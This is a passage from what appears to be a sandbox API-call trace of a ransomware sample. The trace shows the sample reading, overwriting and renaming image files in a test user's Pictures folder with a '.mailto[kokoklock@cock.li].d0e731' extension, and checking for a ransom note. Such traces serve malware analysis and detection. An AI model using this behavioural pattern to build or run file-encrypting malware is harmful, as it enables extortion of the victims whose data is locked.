Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xff5054f3 [0065.292] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x6eaf3a4b [0065.292] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xf09c7619 [0065.292] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x976dc6a4 [0065.292] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xf534563c [0065.292] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xc195e52a [0065.292] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x15fcfa3f [0065.292] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xf17f5b9b [0065.292] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x903ebe2b [0065.303] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.303] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf23f8d0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf23f8d0*=0x4096, lpOverlapped=0x0) returned 1 [0065.303] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be348 [0065.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.304] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf23f8d0, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf23f8d0*=0x4096, lpOverlapped=0x0) returned 1 [0065.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.304] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xe8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.304] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be348*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf23f908, lpOverlapped=0x0 | out: lpBuffer=0x34be348*, lpNumberOfBytesWritten=0xf23f908*=0x20, lpOverlapped=0x0) returned 1 [0065.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be348) returned 1 [0065.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.304] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf23f91c, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xf23f91c*=0x8, lpOverlapped=0x0) returned 1 [0065.304] WriteFile (in: hFile=0x7c8, lpBuffer=0xf23f934*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf23f91c, lpOverlapped=0x0 | out: lpBuffer=0xf23f934*, lpNumberOfBytesWritten=0xf23f91c*=0x4, lpOverlapped=0x0) returned 1 [0065.305] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf23f91c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf23f91c*=0x4, lpOverlapped=0x0) returned 1 [0065.305] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf23f91c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf23f91c*=0x6c, lpOverlapped=0x0) returned 1 [0065.305] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf23f91c, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf23f91c*=0x20, lpOverlapped=0x0) returned 1 [0065.305] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf23f91c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf23f91c*=0x4, lpOverlapped=0x0) returned 1 [0065.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.305] CloseHandle (hObject=0x7c8) returned 1 [0065.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2c30 [0065.307] wcscpy (in: _Dest=0x33e2c30, _Source="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif") returned="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif" [0065.307] wcscat (in: _Dest=0x33e2c30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731" [0065.307] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5iql.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5iql.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.308] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.308] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2c30) returned 1 [0065.308] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif", dwFileAttributes=0x20) returned 0 [0065.308] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.308] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.308] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.308] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.308] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.308] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480f88) returned 1 [0065.308] RtlExitUserThread (Status=0x1) Thread: id = 329 os_tid = 0x139c [0065.310] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5j81ln8x2n42.gif")) returned 0x20 [0065.310] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif", dwFileAttributes=0x20) returned 1 [0065.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5j81ln8x2n42.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.310] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf2bfe50 | out: lpFileSize=0xf2bfe50*=96067) returned 1 [0065.310] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x1773f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.310] ReadFile (in: hFile=0x7c8, lpBuffer=0xf2bfe24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf2bfe20, lpOverlapped=0x0 | out: lpBuffer=0xf2bfe24*, lpNumberOfBytesRead=0xf2bfe20*=0x4, lpOverlapped=0x0) returned 1 [0065.310] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be348 [0065.310] NtQuerySystemTime (in: CurrentTime=0xf2bfdfc | out: CurrentTime=0xf2bfdfc*=132121176232059253) returned 0x0 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xcaff6f87 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xe42f4f51 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xf25a25c1 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x9ef086e4 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xdba903ca [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x9719cbb0 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xaf27efb4 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xf76b1d00 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x234d5052 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xc0ae5b34 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xe77e76c9 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x8ace1815 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x3513042b [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x7ab1f866 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x28c0abc2 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x1df79696 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xe8238012 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x6e8de6a3 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xda08671c [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xa3a26eb7 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x4917c843 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xeb821bd [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xa76ab882 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x34366171 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xd199aadc [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xf1ec1e35 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x2960be40 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x7ac19982 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xa744f9a2 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xae323197 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0x84306f65 [0065.311] RtlRandom (in: Seed=0xf2bfe08 | out: Seed=0xf2bfe08) returned 0xafbeb67b [0065.322] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.323] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf2bfdd4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf2bfdd4*=0x4096, lpOverlapped=0x0) returned 1 [0065.323] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be370 [0065.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.324] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf2bfdd4, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf2bfdd4*=0x4096, lpOverlapped=0x0) returned 1 [0065.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.324] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x17743, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.324] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf2bfe0c, lpOverlapped=0x0 | out: lpBuffer=0x34be370*, lpNumberOfBytesWritten=0xf2bfe0c*=0x20, lpOverlapped=0x0) returned 1 [0065.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be370) returned 1 [0065.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.324] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf2bfe20, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xf2bfe20*=0x8, lpOverlapped=0x0) returned 1 [0065.324] WriteFile (in: hFile=0x7c8, lpBuffer=0xf2bfe38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf2bfe20, lpOverlapped=0x0 | out: lpBuffer=0xf2bfe38*, lpNumberOfBytesWritten=0xf2bfe20*=0x4, lpOverlapped=0x0) returned 1 [0065.324] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf2bfe20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf2bfe20*=0x4, lpOverlapped=0x0) returned 1 [0065.324] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf2bfe20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf2bfe20*=0x6c, lpOverlapped=0x0) returned 1 [0065.324] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf2bfe20, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf2bfe20*=0x20, lpOverlapped=0x0) returned 1 [0065.324] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf2bfe20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf2bfe20*=0x4, lpOverlapped=0x0) returned 1 [0065.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.325] CloseHandle (hObject=0x7c8) returned 1 [0065.327] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb270 [0065.327] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif") returned="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif" [0065.327] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" [0065.328] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5j81ln8x2n42.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5j81ln8x2n42.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.328] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0065.328] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5J81Ln8x2N42.gif", dwFileAttributes=0x20) returned 0 [0065.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.328] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.328] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.329] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.329] RtlExitUserThread (Status=0x1) Thread: id = 330 os_tid = 0x13a0 [0065.331] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5lffhhc1phkhshohy_r-.gif")) returned 0x20 [0065.331] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif", dwFileAttributes=0x20) returned 1 [0065.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5lffhhc1phkhshohy_r-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.331] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf33feb8 | out: lpFileSize=0xf33feb8*=11350) returned 1 [0065.331] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x2c52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.331] ReadFile (in: hFile=0x7c8, lpBuffer=0xf33fe8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf33fe88, lpOverlapped=0x0 | out: lpBuffer=0xf33fe8c*, lpNumberOfBytesRead=0xf33fe88*=0x4, lpOverlapped=0x0) returned 1 [0065.331] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be370 [0065.332] NtQuerySystemTime (in: CurrentTime=0xf33fe64 | out: CurrentTime=0xf33fe64*=132121176232215502) returned 0x0 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x28173a54 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x761f94a9 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xd42cd5cf [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x2fcd7ad6 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xc56f0e6c [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xea977dc4 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xe09da2e9 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x1fb567a7 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xc142e513 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x8d0dd335 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x957eec6f [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xbb5ffe4c [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xbd92b7b [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x2160c85 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xe8af1782 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x8d06ff5c [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x50b33a0c [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xeb393a34 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xcd1597b6 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x1a8892e2 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xa18ba0bc [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xbb36a809 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x61c0237b [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xa46b5c16 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xbea26c64 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xb3bc78d7 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xc4012fe9 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x336c76df [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xa6042f76 [0065.332] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x59465191 [0065.333] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0x35ef6f65 [0065.333] RtlRandom (in: Seed=0xf33fe70 | out: Seed=0xf33fe70) returned 0xfbca7cff [0065.343] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x2c56, lpNumberOfBytesRead=0xf33fe64, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf33fe64*=0x2c56, lpOverlapped=0x0) returned 1 [0065.344] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xf33fe2c | out: lpNewFilePointer=0x0) returned 1 [0065.344] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x2c56, lpNumberOfBytesWritten=0xf33fe60, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf33fe60*=0x2c56, lpOverlapped=0x0) returned 1 [0065.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be398 [0065.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.344] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be398*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf33fe5c, lpOverlapped=0x0 | out: lpBuffer=0x34be398*, lpNumberOfBytesWritten=0xf33fe5c*=0x20, lpOverlapped=0x0) returned 1 [0065.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be398) returned 1 [0065.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.344] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf33fe88, lpOverlapped=0x0 | out: 